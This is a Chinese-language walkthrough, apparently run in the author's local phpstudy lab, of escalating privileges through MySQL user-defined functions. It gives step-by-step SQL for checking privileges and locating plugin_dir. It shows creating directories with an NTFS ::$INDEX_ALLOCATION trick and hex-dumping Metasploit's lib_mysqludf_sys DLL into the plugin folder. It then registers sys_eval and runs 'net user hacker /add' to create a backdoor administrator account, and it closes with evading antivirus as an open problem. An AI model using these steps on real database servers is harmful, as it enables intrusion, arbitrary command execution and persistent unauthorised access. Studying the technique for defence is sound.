Mysql udf提权
UDF
UDF是MySQL中用户定义的函数。这就像在DLL中编写自己的函数,然后在MySQL中调用它们。
前提
- 存在sql注入漏洞
- Mysql文件写入读取权限security_file_priv值为空
- 数据库用户拥有文件读写权限
- 数据库用户允许其他主机连接
步骤
- 利用sql注入获取数据库用户名,密码,密码进行解密获得纯文本
- 使用osanda用户连接数据库
- 查看osanda用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1) \G;
发现有所有权限
-
写入一个UDF DLL library
查看系统架构和类型,方便我们等会选择udf文件(有4个)
show variables like '%compile%';
**从 MySQL 5.0.67 开始,UDF 库必须包含在plugin文件夹中,可以使用 ‘@@plugin_dir’ 全局变量找到该文件夹。可以在 mysql.ini 文件中查看和编辑此变量。但是默认并没有plugin这个目录,可以使用into outfile导出一个一句话木马,再使用连接getshell,创建lib\plugin目录
select @@plugin_dir ;
如果Mysql版本是5.1.60以下就可以使用
select 'xxx' into outfile 'F:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION';
select 'xxx' into outfile 'F:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';
创建文件夹,但是我测试5.7.26版本,这两行sql语句已经不能创建文件夹了,可能是Mysql加了点安全策略。
从 MySQL 5.0.67 开始,该文件必须位于插件目录中。该目录由 plugin_dir 系统变量的值给出。如果 plugin_dir 的值为空,则适用 5.0.67 之前使用的行为:该文件必须位于系统的动态链接器搜索的目录中。
在旧版本中,您可以将 DLL 文件上传到以下位置并创建新的 UDF 函数。
- @@datadir
- @@basedir\bin
- C:\windows
- C:\windows\system
- C:\windows\system32
metasploit内置有写好的udf文件,可供我们利用
查看udf.dll的位置
也可以到github上获取
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
提权32位的系统就选32,提权64位的系统就选64,windows系统选dll,linux系统选so
将udf.dll文件转换成十六进制保存到本地电脑上,我这里保存到F:/phpstudy_pro/WWW/
目录下
select hex(load_file('F:/phpstudy_pro/WWW/lib_mysqludf_sys_64.dll')) into dumpfile 'F:/phpstudy_pro/WWW/udf.txt';
然后将刚刚生成的udf.txt十六进制数导出到目的主机的plugin目录里
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dumpfile "F:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/udf.dll";
可能会报错,因为目的主机没有plugin目录
这时给目的主机创建一个lib/plugin目录
再进行导出就会成功
目的主机有了udf.dll文件还不够,我们还要在Mysql中创建一下需要使用的函数
虽然作者在udf.dll中定义了很多函数,但是我们只需用到一个函数即可,也就是sys_eval()
sys_eval的作用
该函数将执行系统命令,并在传递给标准输出的屏幕上显示。(跟sqlmap的–os-shell作用差不多,但是sqlmap执行不了的系统命令,这个sys_eval却可以执行成功,待会看看效果)
sys_eval的创建
create function sys_eval returns string soname 'udf.dll';
sys_eval的检验
select * from mysql.func where name = 'sys_eval';
有内容,证明创建成功
sys_eval的删除
drop function sys_eval;
不想用这个自定义函数可以使用这条命令删除
创建成功之后,就可以使用了
select sys_eval('dir');
接下来输入点sqlmap做不到的命令,别说sqlmap了,就算在本地执行这样的命令也要打开管理员身份执行,它就是添加用户,并且将用户添加到管理员组里
先用另一个cmd看看当前有哪些用户
然后我使用sys_eval函数创建一个用户hacker
select sys_eval('net user hacker /add');
这时候火狐跳出来了,敏锐的嗅觉闻到一丝不对劲,我连忙按允许安抚它的心情
结果显示出来一段乱码,但是不妨碍我们添加用户
继续查看当前存在的用户
多了个hacker用户
接下来将hacker用户提升为管理员
再用另一个cmd查看管理员组的用户,发现hacker当上了管理员?
这是不是我们常说的udf提权
难点总结
- 怎么绕过火狐等杀毒软件